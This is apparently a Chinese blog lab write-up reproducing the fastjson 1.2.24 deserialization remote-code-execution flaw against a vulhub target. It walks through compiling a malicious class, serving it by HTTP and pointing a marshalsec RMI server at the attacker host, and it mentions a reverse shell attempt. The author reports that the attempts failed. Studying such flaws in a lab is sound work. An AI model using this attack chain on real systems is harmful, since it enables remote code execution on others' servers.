fastjson-1.2.24-rce
fastjson
java处理JSON数据有三个比较流行的类库
- gson(google维护)
- jackson
- 以及主角fastjson
fastjson是阿里巴巴一个开源的json相关的java library
fastjson简介
Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上
它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象
漏洞简介
fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,也就是未对@type中加载进的类进行过滤,导致的这一版漏洞
主要由于利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,这个类的构造函数是我们可控的,就能rce
影响版本
fastjson 1.2.22-1.2.24
靶机环境
攻击机:kali/vps(恶意java文件所在以及开启RMI服务)
靶机:另一台vps(vulhub靶场环境)
jkd1.8 + maven 3.3.9
maven安装
1 | # 下载 https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/ |

复现
访问8090端口

流程
- 编写恶意类,编译为class文件
- 在class的目录用python开一个HTTP服务
- marshalsec起一个RMI服务
- burp构造包触发反序列化点远程加载恶意类
marshalsec是一款快速开启RMI和LDAP服务神器,由maven编译
RMI是远程方法调用,是一种实现远程过程调用的java api
编译生成.class文件
dnslog.java文件
1 | import java.lang.Runtime; |
javac dnslog.java生成.class文件
在当前目录下
python起一个http服务
监听在1234端口上
1 | python -m SimpleHTTPServer 1234 |

marshalsec起一个RMI服务
HTTPServer服务与RMI可以在同一个服务器
监听9999端口并加载远程类dnslog.class
1 | git clone https://github.com/mbechler/marshalsec.git |

编译完成会出现BUILD SUCCESS,target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件

使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机9999端口开启一个RMI服务来加载dnslog.class文件
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://生成dnslog.class的ip:1234/#dnslog" 9999 |

burp构造请求包
1 | POST / HTTP/1.1 |
后来又在另一台vps上搭建了jdk+maven环境进行测试

但是要访问的文件不存在,代码没整明白,请求包中构造错了
xxx/ceye.io改为dnslog

过了十分钟又有请求了,但还是不行
然后就一直访问不上,怀疑是ceye.io存在问题,ceye.io也没有接收到数据
ps:我只有在挂代理的情况下才能比较温蒂访问到这个网站,有时还不能成功
换了一个dnslog平台还是不行
又耗了半天,暂时没有复现成功,
总结
这里是想要使用dnslog进行盲打,但目前没有成功
踩坑
- 记得开启防火墙对应端口并在安全组添加策略,或是直接关闭防火墙
更新
环境
靶机环境查看

这里由于未刷新配置文件
etc/profile导致原先的配置未能成功

刷新之后

靶机:jdk1.8.0_301、Apache Maven 3.3.9、fastjson1.2.47
攻击机:jdk1.8.0_301、Apache Maven 3.3.9、marshalsec
流程
1. 编写恶意类,编译为class文件
2.python起一个http服务,监听6666端口
1 | python -m SimpleHTTPServer 6666 |

3.marshalsec起一个RMI服务,监听9999端口


4.burp构造请求包

反弹失败
原因总结
jdk版本过高,关闭了RMI或者LDAP远程类加载
